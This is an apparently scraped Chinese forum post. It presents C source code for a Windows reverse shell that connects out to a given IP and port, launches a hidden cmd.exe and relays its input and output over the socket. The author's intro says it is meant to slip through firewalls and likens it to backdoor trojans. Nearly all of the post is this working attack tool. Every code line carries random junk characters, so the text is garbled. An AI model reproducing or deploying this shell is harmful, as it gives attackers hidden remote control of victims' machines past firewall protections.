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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 mfW}^mu  
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/* ============================== mG*ER^Y@D  
Rebound port in Windows NT ez-jVi-Fi  
By wind,2006/7 q\$k'(k>35  
===============================*/ m ?e::W  
#include C>:,\=y%  
#include tH)fu%:p  
<G_71J`MLC  
#pragma comment(lib,"wsock32.lib") zk;'`@7  
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void OutputShell(); si,)!%b  
SOCKET sClient; {y%|Io`P  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; RxYC]R^78  
v,L@nlD]  
void main(int argc,char **argv) )z_5I (?&  
{ <\'aUfF v  
WSADATA stWsaData; QPyHos `  
int nRet; dJ 9v/k_  
SOCKADDR_IN stSaiClient,stSaiServer; Y6[ O s1  
m S4N%Q  
if(argc != 3) /8? u2 q  
{ h J H  
printf("Useage:\n\rRebound DestIP DestPort\n"); LTTMxiq[*  
return; iBt<EM]U/  
} ]~@uStHn  
7PW7&]-WQ  
WSAStartup(MAKEWORD(2,2),&stWsaData); Pr_DMu  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0t?g!  
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stSaiClient.sin_family = AF_INET; Y'+mC  
stSaiClient.sin_port = htons(0); GboZ T68  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [y&uc  
<dKHZ4  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -y'tz,En.  
{ w+Y_TJ%  
printf("Bind Socket Failed!\n"); dAr=X4LE  
return; { V$}qa{P  
} .Q!pQ"5  
s>I~%+V.?:  
stSaiServer.sin_family = AF_INET; J(Fk@{!F.*  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); FvXpqlp  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); n #S?fsQN  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )E*-  
{ Kw =RqF  
printf("Connect Error!"); FM"[:&>  
return; 1l s8h  
} ~hb;kc3  
OutputShell(); 8 +mW  
} &e3pmHp'  
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void OutputShell() A\})H  
{ 7?ILmYBw  
char szBuff[1024]; 0C4Os p  
SECURITY_ATTRIBUTES stSecurityAttributes; AbL(F#{  
OSVERSIONINFO stOsversionInfo; }p>l,HD  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s[;1?+EI  
STARTUPINFO stStartupInfo; "9IR|  
char *szShell; `L#?eQ{  
PROCESS_INFORMATION stProcessInformation; oz6+rM6MY  
unsigned long lBytesRead; n E}<e:  
#6s C&w3  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); pEj^x[b`^  
u?;Vxh3@|  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^;$a_$ |  
stSecurityAttributes.lpSecurityDescriptor = 0; p <=%  
stSecurityAttributes.bInheritHandle = TRUE; hdtnC29$  
h<1dTl*  
NS4'IR=;E!  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); xY'qm8V  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); NTXL>Q*e  
+1Rr kok  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3E}NiD\V}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %y\eBfW,/  
stStartupInfo.wShowWindow = SW_HIDE; L\m!8o4  
stStartupInfo.hStdInput = hReadPipe; plx/}ah8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]vQ?]d?>a  
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GetVersionEx(&stOsversionInfo); 4m~7 ~-h  
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switch(stOsversionInfo.dwPlatformId) fb"J Bc}X  
{ ^jha:d  
case 1: x`+ l#  
szShell = "command.com"; uOl(-Zq@  
break; [Ba2b: l6v  
default: +*_fN ]M  
szShell = "cmd.exe"; i=1 }lk q  
break; `e?;vA&  
} }WO9!E(  
";_K x={  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @0ov!9]Rw-  
BLwfm+ m"  
send(sClient,szMsg,77,0); S*CLt  
while(1) &*aer5?`  
{ KIKq9*  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 'l' X^LMD  
if(lBytesRead) X"k^89y$  
{ L7Qo-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~TG39*m  
send(sClient,szBuff,lBytesRead,0); ~Un64M?  
} K=tx5{V  
else i0'Xy>l  
{ NqT1buU#  
lBytesRead=recv(sClient,szBuff,1024,0); JN&MyA"  
if(lBytesRead<=0) break; }O.LPQ0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ehb?CnV#J  
} (F,(]71Z+  
}  /[Bl  
E 4='m  
return; dd \bI_  
}
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